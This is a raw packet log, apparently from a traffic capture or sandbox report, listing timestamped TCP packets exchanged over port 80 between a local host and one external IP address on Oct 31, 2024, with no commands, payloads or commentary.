Oct 31, 2024 02:08:19.308398962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.308415890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.308429003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.312812090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.312828064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.312889099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.313093901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.313111067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.313124895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.313150883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.317523003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.317538023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.317548990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.317578077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.317603111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.317800999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.317816019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.317857027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.322274923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322292089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322305918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322335005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.322516918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322532892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322545052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.322573900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.322599888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.327070951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.327263117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.327279091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.327292919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.327306986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.327322960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.327333927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.332000017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.332015991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.332029104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.332056999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.332082987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.332098961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.336817026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.336832047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.336846113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.336869955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.336918116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.341613054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.341629982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.341643095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.341675043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.341747999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.341764927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.342658997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.346343040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346359015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346373081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346386909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.346419096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.346487045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346502066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346514940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.346571922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.351067066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.351082087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.351197958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.351214886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.351229906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.351257086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.351267099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.355829000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.355845928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.355964899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.355981112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.355993986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.356024981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.360590935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360608101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360620975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360681057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.360688925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360702991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360716105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.360765934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.365329981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.365350962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.365372896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.365390062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.365403891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.365433931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.365475893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.370034933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.370058060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.370073080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.370086908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.370100975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.370130062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.374732971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374757051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374772072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374789000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.374814034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374819040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.374829054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374842882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.374883890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.379547119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.379564047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.379585028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.379599094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.379600048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.379626036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.384536982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.384552002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.384577036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.384578943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.384593964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.384620905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.389924049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.389945030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.389957905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.389971018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.389976025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.389986038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.389997959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.390000105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.390012980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.390028954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.390042067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.394654036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.394685030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.394705057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.394721031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.394731045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.394736052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.394757986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.399384022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399411917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399425030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399439096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399439096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.399452925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399461985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.399467945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.399491072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.404083967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.404108047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.404122114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.404135942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.404135942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.404165983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.408782959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408807993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408821106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408833981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408833981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.408845901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408859968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408864021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.408873081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.408889055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.408907890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.413589001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.413604975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.413619041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.413633108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.413645983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.413671017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.418281078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.418297052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.418318987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.418334007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.418334007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.418342113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.418387890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.423000097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.423017025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.423031092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.423047066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.423058033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.423062086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.423086882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.427700043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.427715063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.427736998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.427752018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.427753925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.427766085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.427782059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.427809000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.432399035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432423115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432435989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432451010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432463884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432476997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432487965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.432492018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.432501078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.432518959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.437186956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437210083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437225103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437237978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437241077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.437252998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437268019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.437269926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.437289000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.441903114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.441947937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.441961050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.441973925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.441978931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.441987038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.442009926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.442030907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.446613073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.446630001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.446667910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.446721077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.446736097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.446751118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.446778059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.451354027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.451370955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.451417923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.451442957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.451458931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.451472044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.451484919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.451512098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.456080914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.456098080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.456118107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.456140995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.456159115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.456173897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.456217051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.460803032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.460819960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.460840940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.460861921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.460864067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.460890055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.460908890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.461903095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.465517044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465540886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465554953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465569973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465584040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465584993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.465598106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465612888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.465614080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465626955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.465634108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.465658903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470542908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470560074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470572948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470587015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470598936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470602036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470618010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470633984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470640898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470654011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470654011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470669031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470683098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470691919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470698118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470712900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470716000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470726967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470740080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470752954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470756054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470767021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470786095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470788956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470802069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470824003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470828056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470839024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470854044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470855951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470868111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470875978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470880985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470895052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470905066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470907927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470923901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470938921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470943928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470952034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470966101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470971107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.470978022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470992088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.470997095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471005917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471020937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471024036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471043110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471055984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471059084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471072912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471081018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471086979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471107006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471116066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471122026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471134901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471148968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471155882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471163988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471177101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471179008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471191883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471203089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471204996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471218109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471227884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471231937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471247911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471261978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471266985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471276045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471292973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471299887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471308947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471308947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.471333981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.471359015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.482810974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.482863903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.482878923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.482893944 CET	49712	80	192.168.2.5	185.215.113.16
